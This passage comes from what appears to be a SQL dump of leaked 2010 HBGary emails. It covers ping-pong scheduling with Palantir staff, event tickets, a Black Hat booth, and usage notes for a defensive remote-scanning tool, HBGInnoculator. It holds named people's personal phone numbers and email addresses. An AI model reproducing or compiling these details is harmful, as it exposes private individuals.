news on the OSD front.\r\n\r\n&nbsp;\r\n\r\nI am not scared!!!! Bob will go down.  Can you switch the\r\nmeeting invite, a bunch of my colleagues are on it because they all want to see\r\nme lose.\r\n\r\n&nbsp;\r\n\r\n-Matt\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantir.com\r\n| 202-257-2270\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Thursday, July 08, 2010 4:14 PM\r\nTo: Matthew Steckman\r\nCc: bob@hbgary.com\r\nSubject: Re: Invitation: Ping Pong Challenge @ Fri Jul 9 11:30pm - Sat\r\nJul 10, 2010 12:30am (msteckman@palantirtech.com)\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nLikely excuse. &nbsp;Bob how is next Friday?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn a separate note Matt, can you hook me and Penny up with\r\nthe Vint Cerf talk?\r\n\r\n\r\n\r\n\r\n\r\nThere is a personal connection between penny and Vint and if\r\nyou can swing it penny is going to stick around to attend.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nBtw I have been talking with a few OSD folks the last few\r\ndays and a lot of interest on the Palantir/HBGary connection.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Jul 8, 2010, at 2:10 PM, Matthew Steckman &lt;msteckman@palantir.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nUnfortunately I have to go to a client in NYC on Friday.&nbsp;\r\nCan we push this to next Friday?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantir.com |\r\n202-257-2270\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n-----Original\r\nAppointment-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\n\r\nSent: Wednesday, June 23, 2010 10:41 PM\r\nTo: Aaron Barr; bob@hbgary.com;\r\nMatthew Steckman; David Worn; Paul Hadjy; Tri Tang; Keyur Parikh\r\nSubject: Invitation: Ping Pong Challenge @ Fri Jul 9 11:30pm - Sat Jul\r\n10, 2010 12:30am (msteckman@palantirtech.com)\r\nWhen: Friday, July 09, 2010 11:30 AM-12:30 PM (GMT-05:00) Eastern Time\r\n(US &amp; Canada).\r\nWhere: Palantir Office, Tysons Corner, VA\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n \r\n  \r\n  more details »\r\n  \r\n  Ping Pong Challenge\r\n  \r\n  \r\n  Scheduled\r\n  around lunch time so we can take advantage of Palantirs catered lunch.\r\n  \r\n  \r\n   \r\n    \r\n    When\r\n    \r\n    \r\n    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Fri\r\n    Jul 9 11:30pm – Sat Jul 10, 2010 12:30am Eastern Time\r\n    \r\n    \r\n    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n    \r\n    \r\n   \r\n   \r\n    \r\n    Where\r\n    \r\n    \r\n    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Palantir\r\n    Office, Tysons Corner, VA (map)\r\n    \r\n    \r\n    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n    \r\n    \r\n   \r\n   \r\n    \r\n    Calendar\r\n    \r\n    \r\n    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; msteckman@palantirtech.com\r\n    \r\n    \r\n    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n    \r\n    \r\n   \r\n   \r\n    \r\n    Who\r\n    \r\n    \r\n    \r\n     \r\n      \r\n      &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; •\r\n      \r\n      \r\n      &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Aaron Barr - organizer\r\n      \r\n      \r\n      &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \r\n      \r\n     \r\n     \r\n      \r\n      •\r\n      \r\n      \r\n      &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; bob@hbgary.com\r\n      \r\n      \r\n      &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \r\n      \r\n     \r\n     \r\n      \r\n      •\r\n      \r\n      \r\n      &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; msteckman@palantirtech.com\r\n      \r\n      \r\n      &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \r\n      \r\n     \r\n    \r\n    \r\n    &nbsp;\r\n    \r\n    \r\n    \r\n    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \r\n    \r\n   \r\n  \r\n  \r\n  Going?&nbsp;&nbsp;\r\n  Yes - Maybe - No&nbsp;&nbsp;&nbsp; more options »\r\n  \r\n  \r\n \r\n \r\n  \r\n  Invitation from Google\r\n  Calendar \r\n  \r\n  You are receiving this courtesy email at the account msteckman@palantirtech.com\r\n  because you are an attendee of this event.\r\n  \r\n  \r\n  To stop receiving future notifications for this event,\r\n  decline this event. Alternatively you can sign up for a Google account at https://www.google.com/calendar/\r\n  and control your notification settings for your entire calendar.\r\n  \r\n  \r\n \r\n\r\n\r\n\r\n\r\n&lt;&lt;\r\nFile: invite.ics &gt;&gt; \r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',11170,'aaron_hbgary_com/11170.html'),(8297,'2010-07-08','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297006444.M388391P14101Q3152.eml','\"Aaron Barr\" <aaron@hbgary.com>','The guy at ManTech','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nWe met with Eric at ManTech yesterday.&nbsp; What is his last\r\nname?&nbsp; I want to communicate with Dave Savage, the other guy at ManTech I&#8217;ve\r\nbeen dealing with.\r\n\r\n&nbsp;\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',14935,'aaron_hbgary_com/14935.html'),(8298,'2010-07-08','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006444.M608788P14101Q3153.eml','\"Bob Slapnik\" <bob@hbgary.com>','Re: The guy at ManTech','EiffertSent from my iPhoneOn Jul 8, 2010, at 6:29 PM, \"Bob Slapnik\" &lt;bob@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nWe met with Eric at ManTech yesterday.&nbsp; What is his last\r\nname?&nbsp; I want to communicate with Dave Savage, the other guy at ManTech I’ve\r\nbeen dealing with.\r\n\r\n&nbsp;\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',194,'aaron_hbgary_com/194.html'),(8299,'2010-07-08','\"Palantir\" <orders@eventbrite.com>','/aaron@hbgary.com/new/1297006444.M845205P14101Q3154.eml','aaron@hbgary.com','Order Confirmation for 2010.07.13 Palantir Night Live w/ Vint Cerf','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n	\r\n	\r\n		\r\n		\r\n		Please Print the PDF Tickets Attached to this Email		\r\n		\r\n				\r\n			\r\n				\r\n			\r\n			\r\n			If you are having difficulties opening the PDF ticket please Click Here to Download Your Tickets \r\n		\r\n\r\n		\r\n		\r\n			YOUR TICKETS ARE ATTACHED TO THIS EMAIL and must be printed and brought to the event.\r\n		\r\n		\r\n		\r\n		\r\n			Event Information:\r\n			For more event details, visit the event page: http://pnl20100713.eventbrite.com\r\n			If you cannot print your tickets or have questions regarding this event, please contact the host: pnl@palantirtech.com\r\n			To view all of your purchased tickets Click Here\r\n		\r\n	\r\n	\r\n	\r\n	\r\n	\r\n	\r\n	\r\n	\r\n		\r\n		\r\n			THIS IS NOT A TICKET\r\n		\r\n		\r\n\r\n\r\n	\r\n	\r\n\r\n	\r\n\r\n\r\n\r\n	\r\n\r\n		\r\n			Receipt for Order# 733735623-13310155\r\n		\r\n\r\n		\r\n			\r\n\r\n				\r\n				\r\n\r\n					\r\n\r\n						\r\n							\r\n							\r\n							TICKET BUYER\r\n							\r\n						\r\n						Type\r\n						Quantity\r\n						Paid\r\n\r\n					\r\n					\r\n						\r\n							\r\n\r\n								Aaron Barr\r\n								\r\n									Attendee\r\n									\r\n								\r\n								1\r\n								$0.00\r\n\r\n							\r\n						\r\n					\r\n\r\n          \r\n					\r\n						&nbsp;\r\n						\r\n							Total\r\n							\r\n							\r\n							\r\n							$0.00\r\n						\r\n					\r\n					\r\n\r\n				\r\n\r\n			\r\n\r\n		\r\n\r\n	\r\n\r\n	\r\n		\r\n		\r\n			\r\n	\r\n\r\n	\r\n	\r\n	\r\n		\r\n		\r\n			\r\n				Do you organize events?\r\n				Start selling in minutes with Eventbrite. www.eventbrite.com\r\n			\r\n			\r\n			\r\n								\r\n			\r\n		\r\n		\r\n	\r\n\r\n\r\n\r\n\r\n\r\n',12944,'aaron_hbgary_com/12944.html'),(8300,'2010-07-08','\"Trae Stephens\" <tstephens@palantir.com>','/aaron@hbgary.com/new/1297006445.M167614P14101Q3155.eml','\"Matthew Steckman\" <msteckman@palantir.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Matthew Steckman\" <msteckman@palantir.com>','RE: Invitation: Ping Pong Challenge @ Fri Jul 9 11:30pm - Sat Jul 10, 	2010 12:30am (msteckman@palantirtech.com)','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nSure…I can hook them up.  \r\n\r\n&nbsp;\r\n\r\nAaron, I’ll add you now…but I’ll need Penny’s email address to\r\nadd her.\r\n\r\n&nbsp;\r\n\r\nThanks,\r\n\r\nTrae’\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Matthew Steckman \r\nSent: Thursday, July 08, 2010 6:25 PM\r\nTo: Aaron Barr\r\nCc: bob@hbgary.com; Trae Stephens\r\nSubject: RE: Invitation: Ping Pong Challenge @ Fri Jul 9 11:30pm - Sat\r\nJul 10, 2010 12:30am (msteckman@palantirtech.com)\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nTrae is the master of the PNL invite list.&nbsp; Trae, can we\r\nhook Aaron and Penny up with RSVPs to PNL?\r\n\r\n&nbsp;\r\n\r\nExcellent news on the OSD front.\r\n\r\n&nbsp;\r\n\r\nI am not scared!!!! Bob will go down.&nbsp; Can you switch the\r\nmeeting invite, a bunch of my colleagues are on it because they all want to see\r\nme lose.\r\n\r\n&nbsp;\r\n\r\n-Matt\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantir.com\r\n| 202-257-2270\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Thursday, July 08, 2010 4:14 PM\r\nTo: Matthew Steckman\r\nCc: bob@hbgary.com\r\nSubject: Re: Invitation: Ping Pong Challenge @ Fri Jul 9 11:30pm - Sat\r\nJul 10, 2010 12:30am (msteckman@palantirtech.com)\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nLikely excuse. &nbsp;Bob how is next Friday?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn a separate note Matt, can you hook me and Penny up with\r\nthe Vint Cerf talk?\r\n\r\n\r\n\r\n\r\n\r\nThere is a personal connection between penny and Vint and if\r\nyou can swing it penny is going to stick around to attend.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nBtw I have been talking with a few OSD folks the last few\r\ndays and a lot of interest on the Palantir/HBGary connection.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Jul 8, 2010, at 2:10 PM, Matthew Steckman &lt;msteckman@palantir.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nUnfortunately I have to go to a client in NYC on Friday.&nbsp;\r\nCan we push this to next Friday?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantir.com |\r\n202-257-2270\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n-----Original\r\nAppointment-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\n\r\nSent: Wednesday, June 23, 2010 10:41 PM\r\nTo: Aaron Barr; bob@hbgary.com;\r\nMatthew Steckman; David Worn; Paul Hadjy; Tri Tang; Keyur Parikh\r\nSubject: Invitation: Ping Pong Challenge @ Fri Jul 9 11:30pm - Sat Jul\r\n10, 2010 12:30am (msteckman@palantirtech.com)\r\nWhen: Friday, July 09, 2010 11:30 AM-12:30 PM (GMT-05:00) Eastern Time\r\n(US &amp; Canada).\r\nWhere: Palantir Office, Tysons Corner, VA\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n \r\n  \r\n  more details »\r\n  \r\n  Ping Pong Challenge\r\n  \r\n  \r\n  Scheduled\r\n  around lunch time so we can take advantage of Palantirs catered lunch.\r\n  \r\n  \r\n   \r\n    \r\n    When\r\n    \r\n    \r\n    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Fri\r\n    Jul 9 11:30pm – Sat Jul 10, 2010 12:30am Eastern Time\r\n    \r\n    \r\n    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n    \r\n    \r\n   \r\n   \r\n    \r\n    Where\r\n    \r\n    \r\n    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Palantir\r\n    Office, Tysons Corner, VA (map)\r\n    \r\n    \r\n    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n    \r\n    \r\n   \r\n   \r\n    \r\n    Calendar\r\n    \r\n    \r\n    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; msteckman@palantirtech.com\r\n    \r\n    \r\n    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n    \r\n    \r\n   \r\n   \r\n    \r\n    Who\r\n    \r\n    \r\n    \r\n     \r\n      \r\n      &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; •\r\n      \r\n      \r\n      &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Aaron Barr - organizer\r\n      \r\n      \r\n      &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \r\n      \r\n     \r\n     \r\n      \r\n      •\r\n      \r\n      \r\n      &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; bob@hbgary.com\r\n      \r\n      \r\n      &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \r\n      \r\n     \r\n     \r\n      \r\n      •\r\n      \r\n      \r\n      &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; msteckman@palantirtech.com\r\n      \r\n      \r\n      &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \r\n      \r\n     \r\n    \r\n    \r\n    &nbsp;\r\n    \r\n    \r\n    \r\n    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \r\n    \r\n   \r\n  \r\n  \r\n  Going?&nbsp;&nbsp;\r\n  Yes - Maybe - No&nbsp;&nbsp;&nbsp; more options »\r\n  \r\n  \r\n \r\n \r\n  \r\n  Invitation from Google\r\n  Calendar \r\n  \r\n  You are receiving this courtesy email at the account msteckman@palantirtech.com\r\n  because you are an attendee of this event.\r\n  \r\n  \r\n  To stop receiving future notifications for this event,\r\n  decline this event. Alternatively you can sign up for a Google account at https://www.google.com/calendar/\r\n  and control your notification settings for your entire calendar.\r\n  \r\n  \r\n \r\n\r\n\r\n\r\n\r\n&lt;&lt;\r\nFile: invite.ics &gt;&gt; \r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15396,'aaron_hbgary_com/15396.html'),(8301,'2010-07-08','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006445.M410388P14101Q3156.eml','\"Trae Stephens\" <tstephens@palantir.com>,\"Trae Stephens\" <tstephens@palantir.com>,,','Re: Invitation: Ping Pong Challenge @ Fri Jul 9 11:30pm - Sat Jul 10, 	2010 12:30am (msteckman@palantirtech.com)','Thanks Trae.Penny@HBGary.comSent from my iPhoneOn Jul 8, 2010, at 7:25 PM, Trae Stephens &lt;tstephens@palantir.com&gt; wrote:\r\n\r\n\r\n\r\nSure…I can hook them up.&nbsp; \r\n\r\n&nbsp;\r\n\r\nAaron, I’ll add you now…but I’ll need Penny’s email address to\r\nadd her.\r\n\r\n&nbsp;\r\n\r\nThanks,\r\n\r\nTrae’\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Matthew Steckman \r\nSent: Thursday, July 08, 2010 6:25 PM\r\nTo: Aaron Barr\r\nCc: bob@hbgary.com; Trae Stephens\r\nSubject: RE: Invitation: Ping Pong Challenge @ Fri Jul 9 11:30pm - Sat\r\nJul 10, 2010 12:30am (msteckman@palantirtech.com)\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nTrae is the master of the PNL invite list.&nbsp; Trae, can we\r\nhook Aaron and Penny up with RSVPs to PNL?\r\n\r\n&nbsp;\r\n\r\nExcellent news on the OSD front.\r\n\r\n&nbsp;\r\n\r\nI am not scared!!!! Bob will go down.&nbsp; Can you switch the\r\nmeeting invite, a bunch of my colleagues are on it because they all want to see\r\nme lose.\r\n\r\n&nbsp;\r\n\r\n-Matt\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantir.com\r\n| 202-257-2270\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Thursday, July 08, 2010 4:14 PM\r\nTo: Matthew Steckman\r\nCc: bob@hbgary.com\r\nSubject: Re: Invitation: Ping Pong Challenge @ Fri Jul 9 11:30pm - Sat\r\nJul 10, 2010 12:30am (msteckman@palantirtech.com)\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nLikely excuse. &nbsp;Bob how is next Friday?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn a separate note Matt, can you hook me and Penny up with\r\nthe Vint Cerf talk?\r\n\r\n\r\n\r\n\r\n\r\nThere is a personal connection between penny and Vint and if\r\nyou can swing it penny is going to stick around to attend.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nBtw I have been talking with a few OSD folks the last few\r\ndays and a lot of interest on the Palantir/HBGary connection.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Jul 8, 2010, at 2:10 PM, Matthew Steckman &lt;msteckman@palantir.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nUnfortunately I have to go to a client in NYC on Friday.&nbsp;\r\nCan we push this to next Friday?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantir.com |\r\n202-257-2270\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n-----Original\r\nAppointment-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\n\r\nSent: Wednesday, June 23, 2010 10:41 PM\r\nTo: Aaron Barr; bob@hbgary.com;\r\nMatthew Steckman; David Worn; Paul Hadjy; Tri Tang; Keyur Parikh\r\nSubject: Invitation: Ping Pong Challenge @ Fri Jul 9 11:30pm - Sat Jul\r\n10, 2010 12:30am (msteckman@palantirtech.com)\r\nWhen: Friday, July 09, 2010 11:30 AM-12:30 PM (GMT-05:00) Eastern Time\r\n(US &amp; Canada).\r\nWhere: Palantir Office, Tysons Corner, VA\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n \r\n  \r\n  more details »\r\n  \r\n  Ping Pong Challenge\r\n  \r\n  \r\n  Scheduled\r\n  around lunch time so we can take advantage of Palantirs catered lunch.\r\n  \r\n  \r\n   \r\n    \r\n    When\r\n    \r\n    \r\n    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Fri\r\n    Jul 9 11:30pm – Sat Jul 10, 2010 12:30am Eastern Time\r\n    \r\n    \r\n    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n    \r\n    \r\n   \r\n   \r\n    \r\n    Where\r\n    \r\n    \r\n    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Palantir\r\n    Office, Tysons Corner, VA (map)\r\n    \r\n    \r\n    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n    \r\n    \r\n   \r\n   \r\n    \r\n    Calendar\r\n    \r\n    \r\n    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; msteckman@palantirtech.com\r\n    \r\n    \r\n    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n    \r\n    \r\n   \r\n   \r\n    \r\n    Who\r\n    \r\n    \r\n    \r\n     \r\n      \r\n      &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; •\r\n      \r\n      \r\n      &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Aaron Barr - organizer\r\n      \r\n      \r\n      &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \r\n      \r\n     \r\n     \r\n      \r\n      •\r\n      \r\n      \r\n      &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; bob@hbgary.com\r\n      \r\n      \r\n      &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \r\n      \r\n     \r\n     \r\n      \r\n      •\r\n      \r\n      \r\n      &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; msteckman@palantirtech.com\r\n      \r\n      \r\n      &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \r\n      \r\n     \r\n    \r\n    \r\n    &nbsp;\r\n    \r\n    \r\n    \r\n    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \r\n    \r\n   \r\n  \r\n  \r\n  Going?&nbsp;&nbsp;\r\n  Yes - Maybe - No&nbsp;&nbsp;&nbsp; more options »\r\n  \r\n  \r\n \r\n \r\n  \r\n  Invitation from Google\r\n  Calendar \r\n  \r\n  You are receiving this courtesy email at the account msteckman@palantirtech.com\r\n  because you are an attendee of this event.\r\n  \r\n  \r\n  To stop receiving future notifications for this event,\r\n  decline this event. Alternatively you can sign up for a Google account at https://www.google.com/calendar/\r\n  and control your notification settings for your entire calendar.\r\n  \r\n  \r\n \r\n\r\n\r\n\r\n\r\n&lt;&lt;\r\nFile: invite.ics &gt;&gt; \r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',10129,'aaron_hbgary_com/10129.html'),(8302,'2010-07-09','\"Shawn Bracken\" <shawn@hbgary.com>','/aaron@hbgary.com/new/1297006446.M399226P14101Q3157.eml','all@hbgary.com','HBGInnoculator.exe v1.0 (Configurable WMI Innoculator)','Team,         Attached is the newest version of the HBGary innoculation shot. This version is completely configurable via command line options or a .ini config file. This representsa significant step forward in our innoculation technology as this version allows incident responders to quickly configure and execute their own enterprise-wide WMI based innoculations in the field without having to involve us! I encourage you guys to download the tool and play around with it. Please feel free to send any and all feature requests, bug/crash reports, or success/failure stories to me. The command line based tests are pretty fun, but the real power is in the INI so I encourage you to check out both methods.\r\n-SB** Read onward for technical details about using the HBGInnoculator.exe  **Zip Password: &quot;innoculate&quot; (Rename the attached .zij to .zip first)\r\nUsage: If you run the HBGInnoculator.exe with no arguments you&#39;ll get a full dump of all of the command line options and available configurable tests from the command line. There is also a sample INI file that is provided in the zip that is heavily commented and describes the usage, and valid arguments for each test type that is available. I&#39;ll give you a few sample usages just to get you guys started.\r\n1) Testing for the existence of a named file on a remote machineHBGInnoculator.exe -scan TESTBOX-1 -file_exists c:\\windows\\system32\\notepad.exe2) Testing a range of ip addresses for the existence of a specific service (IPRIP)\r\nHBGInnoculator.exe -range 192.168.0.1 192.168.0.254 -regkey_exists HKLM\\SYSTEM\\CurrentControlSet\\Services\\IPRIP3) Testing a list of machines in a text file for hijacked ACPI services\r\nHBGInnoculator.exe -list targets.txt -regval_string_notequals HKLM\\SYSTEM\\CurrentControlSet\\Services\\ACPI\\ImagePath system32\\DRIVERS\\ACPI.sys4) Now that you have a taste for what the underlying innoculation library can do, do yourself a favor and learn how to use the INI file - Its the only way you&#39;ll be able to easily trade around innoculation definitions with other incident responders. Its also the only method that supports remediation by design (Fatfinger protection). The INI also has cool extra features like being able to automatically find and remove any service registry keys that are associated with any of your configured remotely detected files (Removes aurora, and other hijacked services in a snap).\r\n5) Read the .ini comments, enable a few tests and some matching MATCH_IF statements and then fire up HBGInnoculator.exe like so:HBGInnoculator.exe -scan TESTBOX-1 -ini myini.ini \r\n6) If you want to have the HBGInnoculator automatically remove/delete the detected registry and filesystem elements, simply tack on &quot;-removeandreboot&quot; to any .INI based command line. NOTE: Be sure you&#39;ve flagged the objects in question as TRUE in the removable field in the INI\r\nHBGInnoculator.exe -scan TESTBOX-1 -ini myini.ini -removeandreboot\r\n',1102,'aaron_hbgary_com/1102.html'),(8303,'2010-07-09','\"David Etue\" <david@etue.net>','/aaron@hbgary.com/new/1297006446.M701747P14101Q3158.eml','\"Aaron Barr\" <aaron@hbgary.com>','1st IO contact','Sorry it took me a few days to find Chuck\'s contact info.  I hadn\'t been \r\nable to find his card, and apparently I hadn\'t entered in it electronically.\r\n\r\nChuck Abare\r\nCEO, IT Fusion Experts\r\nchuck.abare@it-fx.com\r\n703-997-2521\r\nhttp://www.it-fx.com/homeFrame.php?page=2\r\nhttp://twitter.com/ChuckAbare\r\n\r\nHe was a Deputy S-6; 1st IO Command before founding IT-FX, which is a \r\nSDVOSB.\r\n\r\nI\'m happy to make an introduction to him, or feel free to reach out \r\ndirectly and mention me.\r\n\r\nDavid\r\n\r\n',8178,'aaron_hbgary_com/8178.html'),(8304,'2010-07-09','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297006446.M973484P14101Q3159.eml','\"Michael G. Spohn\" <mike@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','We are going to BH','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nI have secured a booth.&nbsp; We want to push the healthcheck and\r\nAD for service providers.&nbsp; Mike we&#8217;d like you to attend.&nbsp; \r\n\r\n&nbsp;\r\n\r\nPenny C. Leavy\r\n\r\nPresident\r\n\r\nHBGary, Inc\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nNOTICE &#8211; Any tax information or written tax advice\r\ncontained herein (including attachments) is not intended to be and cannot be\r\nused by any taxpayer for the purpose of avoiding tax penalties that may be\r\nimposed on&nbsp;the taxpayer.&nbsp; (The foregoing legend has been 